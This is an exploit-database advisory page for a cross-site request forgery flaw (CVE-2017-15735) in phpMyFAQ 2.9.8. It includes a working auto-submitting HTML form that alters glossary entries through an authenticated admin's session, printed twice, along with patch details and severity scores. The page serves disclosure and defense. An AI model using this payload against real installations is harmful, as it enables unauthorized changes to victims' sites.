phpMyFAQ 2.9.8 - Cross-Site Request Forgery (CSRF)

🗓️ 03 Dec 2025 00:00:00Reported by CodeSecLabType

exploitdb🔗 www.exploit-db.com👁 158 Views

CSRF in phpMyFAQ 2.9.8 allows glossary edits without a CSRF token for authenticated users.

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2017-15735	4 Dec 202521:02	–	circl
CNVD	phpMyFAQ cross-site request forgery vulnerability (CNVD-2017-33499)	23 Oct 201700:00	–	cnvd
CVE	CVE-2017-15735	21 Oct 201722:00	–	cve
Cvelist	CVE-2017-15735	21 Oct 201722:00	–	cvelist
EUVD	EUVD-2017-7158	7 Oct 202500:30	–	euvd
NVD	CVE-2017-15735	22 Oct 201718:29	–	nvd
OpenVAS	phpMyFAQ < 2.9.9 Multiple XSS And CSRF Vulnerabilities	21 Sep 201700:00	–	openvas
Packet Storm	📄 phpMyFAQ 2.9.8 Cross Site Request Forgery	4 Dec 202500:00	–	packetstorm
Prion	Cross site request forgery (csrf)	22 Oct 201718:29	–	prion
RedhatCVE	CVE-2017-15735	22 May 202501:39	–	redhatcve

# Exploit Title: phpMyFAQ  2.9.8 Cross-Site Request Forgery (CSRF)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpMyFAQ
# Software Link: https://github.com/thorsten/phpMyFAQ
# Version: 2.9.8 
# Tested on: Ubuntu Windows
# CVE : CVE-2017-15735

PoC: 
While still logged in, open another browser window: 
<html>
   <body>
      <form action="http://phpmyfaq/admin/index.php?action=updateglossary" method="POST">
         <input type="hidden" name="id" value="1">
         <input type="hidden" name="item" value="Malicious Glossary Item">
         <input type="hidden" name="definition" value="This is a malicious definition.">
         <input type="submit" value="Submit request">
      </form>
      <script>
         document.forms[0].submit();
      </script>
   </body>
</html>

Some Details:
{
    "Protection Mechanisms Before Patch": "There was no CSRF token validation in place for the glossary modification actions (add, update, delete). The patch introduced CSRF token checks for both POST and GET requests to ensure that only authorized sessions could perform these actions.",
    "File Navigation Chain": "Public Access Entry URL -> phpmyfaq/admin/index.php -> glossary.main.php -> glossary.edit.php",
    "Execution Path Constraints": "The user must be authenticated with the necessary permissions ('editglossary') to reach and interact with the glossary functionality through the 'index.php' entry point. Without proper authentication, the server redirects to the login form.",
    "Request Parameters": "id, item, definition",
    "Request Method": "POST",
    "Request URL": "http://phpmyfaq/admin/index.php?action=updateglossary",
    "Final PoC": "```\n<html>\n   <body>\n      <form action=\"http://phpmyfaq/admin/index.php?action=updateglossary\" method=\"POST\">\n         <input type=\"hidden\" name=\"id\" value=\"1\">\n         <input type=\"hidden\" name=\"item\" value=\"Malicious Glossary Item\">\n         <input type=\"hidden\" name=\"definition\" value=\"This is a malicious definition.\">\n         <input type=\"submit\" value=\"Submit request\">\n      </form>\n      <script>document.forms[0].submit();</script>\n   </body>\n</html>\n```"
}




[Replace Your Domain Name]

03 Dec 2025 00:00Current

7High risk

Vulners AI Score7

CVSS 26.8

CVSS 38.8

EPSS0.00109